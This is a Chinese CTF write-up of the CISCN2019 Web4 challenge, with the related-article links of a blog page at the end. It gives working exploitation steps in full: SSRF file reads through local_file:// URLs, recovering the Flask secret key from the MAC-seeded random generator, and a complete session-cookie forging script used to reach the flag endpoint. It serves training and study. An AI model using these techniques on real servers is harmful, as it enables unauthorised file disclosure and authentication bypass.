当前位置: 首页 > article >正文

[CISCN2019 华东南赛区]Web41

进入题目页面如下

点击链接但发现

各种尝试无果

看了一个大佬的博客,链接如下

BUUCTF:[CISCN2019 华东南赛区]Web4-CSDN博客

给了很大的提示,大佬尝试了file:///etc/passwd无果,猜测Flask,尝试local_file:///读取文件local_file:///app/app.py读取源码

http://18a1107d-1b0f-462c-8a9b-def3456fe0da.node5.buuoj.cn:81/read?url=local_file:///app/app.py

源码如下,进行代码审计

import re, random, uuid, urllib
# 导入所需的模块:
# re 模块用于正则表达式操作,可进行字符串的匹配和搜索
# random 模块用于生成随机数
# uuid 模块用于生成通用唯一识别码(UUID)
# urllib 模块用于处理 URL 请求

from flask import Flask, session, request
# 从 flask 框架中导入 Flask 类用于创建 Flask 应用
# session 用于管理用户会话
# request 用于获取客户端请求的信息

app = Flask(__name__)
# 创建一个 Flask 应用实例

random.seed(uuid.getnode())
# 使用计算机的 MAC 地址作为随机数生成器的种子,使随机数的生成具有一定的可预测性(基于当前设备)

app.config['SECRET_KEY'] = str(random.random()*233)
# 为 Flask 应用设置一个用于加密会话的密钥,密钥是一个由随机数乘以 233 后转换为字符串的值

app.debug = True
# 开启 Flask 应用的调试模式,方便开发过程中定位问题

@app.route('/')
# 定义一个路由,当用户访问应用的根路径(即 http://example.com/ )时会触发以下函数
def index():
    session['username'] = 'www-data'
    # 在会话中设置用户名为 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
    # 返回一个包含超链接的 HTML 字符串,提示用户点击链接读取内容

@app.route('/read')
# 定义一个路由,当用户访问 /read 路径时会触发以下函数
def read():
    try:
        url = request.args.get('url')
        # 从客户端请求的 URL 参数中获取 'url' 参数的值
        m = re.findall('^file.*', url, re.IGNORECASE)
        # 使用正则表达式检查获取的 URL 是否以 'file' 开头(不区分大小写)
        n = re.findall('flag', url, re.IGNORECASE)
        # 使用正则表达式检查获取的 URL 是否包含 'flag' 字符串(不区分大小写)
        if m or n:
            return 'No Hack'
            # 如果 URL 以 'file' 开头或者包含 'flag' 字符串,返回 'No Hack' 提示信息,防止潜在的攻击
        res = urllib.urlopen(url)
        # 尝试打开用户提供的 URL 并获取响应对象
        return res.read()
        # 读取响应内容并返回给客户端
    except Exception as ex:
        print str(ex)
        # 如果在上述操作过程中出现异常,打印异常信息
    return 'no response'
    # 如果出现异常或者没有成功获取到响应,返回 'no response' 提示信息

@app.route('/flag')
# 定义一个路由,当用户访问 /flag 路径时会触发以下函数
def flag():
    if session and session['username'] == 'fuck':
        # 检查会话是否存在,并且会话中的用户名是否为 'fuck'
        return open('/flag.txt').read()
        # 如果条件满足,读取 /flag.txt 文件的内容并返回给客户端
    else:
        return 'Access denied'
        # 如果条件不满足,返回 'Access denied' 提示信息,拒绝用户访问

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )
    # 如果该脚本作为主程序运行,启动 Flask 应用
    # 开启调试模式,允许外部网络访问应用
  • 使用 uuid.getnode() 作为随机数种子来生成会话密钥。由于 uuid.getnode() 返回的是计算机的 MAC 地址,是一个相对固定的值,这使得生成的随机数具有一定的可预测性。攻击者如果知道了服务器的 MAC 地址,就有可能猜测出会话密钥,从而伪造会话。
  • 使用更安全的随机数生成方式,例如 os.urandom() 来生成会话密钥

读取Mac的地址

local_file:///sys/class/net/eth0/address

使用Python2得出密钥,不能使用python3,因为代码中使用了 urllib.urlopen(),在 Python 3 中该函数已经被 urllib.request.urlopen() 替代,代码可能在 Python 3 环境下无法正常运行

import random
random.seed(0x0242ae0295f6)
print(str(random.random()*233))

得到82.56599527038603

用flask_session_cookie_manager伪造session

使用脚本伪造,恕我有点小白,脚本使用了这位大佬的[CISCN2019 华东南赛区]Web4_[ciscn 2019华东南]web4-CSDN博客

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

python2 flask_session_cookie_manager2.py decode -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YdZsQA.3YV7psQpIvWF7UrSmJLd3p7_mUU

在终端运行

encode -s 82.56599527038603 -t "{'username':b'fuck'}"

得到伪造session

使用burp suite抓包并修改session,然后放行,再访问flag最终拿到flag


http://www.kler.cn/a/524145.html

相关文章:

  • PostgreSQL 约束
  • 新增文章功能
  • 蓝桥杯练习日常|c/c++竞赛常用库函数(下)
  • ubuntu 更新24LTS中断导致“系统出错且无法恢复,请联系系统管理员”
  • 浅析百度AOI数据与高德AOI数据的差异性
  • GPU上没程序在跑但是显存被占用
  • CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
  • 计算机毕业设计PySpark+hive招聘推荐系统 职位用户画像推荐系统 招聘数据分析 招聘爬虫 数据仓库 Django Vue.js Hadoop
  • 解决 Postman 报错一直转圈打不开
  • 2024年度技术总结——MCU与MEMS和TOF应用实践
  • Qt监控系统辅屏预览/可以同时打开4个屏幕预览/支持5x64通道预览/onvif和rtsp接入/性能好
  • 双层Git管理项目,github托管显示正常
  • springboot服务器端默认60秒超时的解决方法
  • leetcode_链表 234.回文链表
  • docker commit命令解析(将容器的当前状态保存为一个新的镜像)
  • AI如何革新工程建造物资管理
  • C#操作GIF图片(下)将一帧一帧的图片合并成gif
  • css 实现进度条和数字自增动画效果
  • C++:多继承习题3
  • 力扣【501. 二叉搜索树中的众数】Java题解
  • java.util.Random类(详细案例拆解)(已完结)
  • 面试经典150题——图
  • 宫本茂的游戏设计思想:有趣与风格化
  • FreeRTOS从入门到精通 第十一章(FreeRTOS时间管理)
  • doris:JSON
  • LLM架构与优化:从理论到实践的关键技术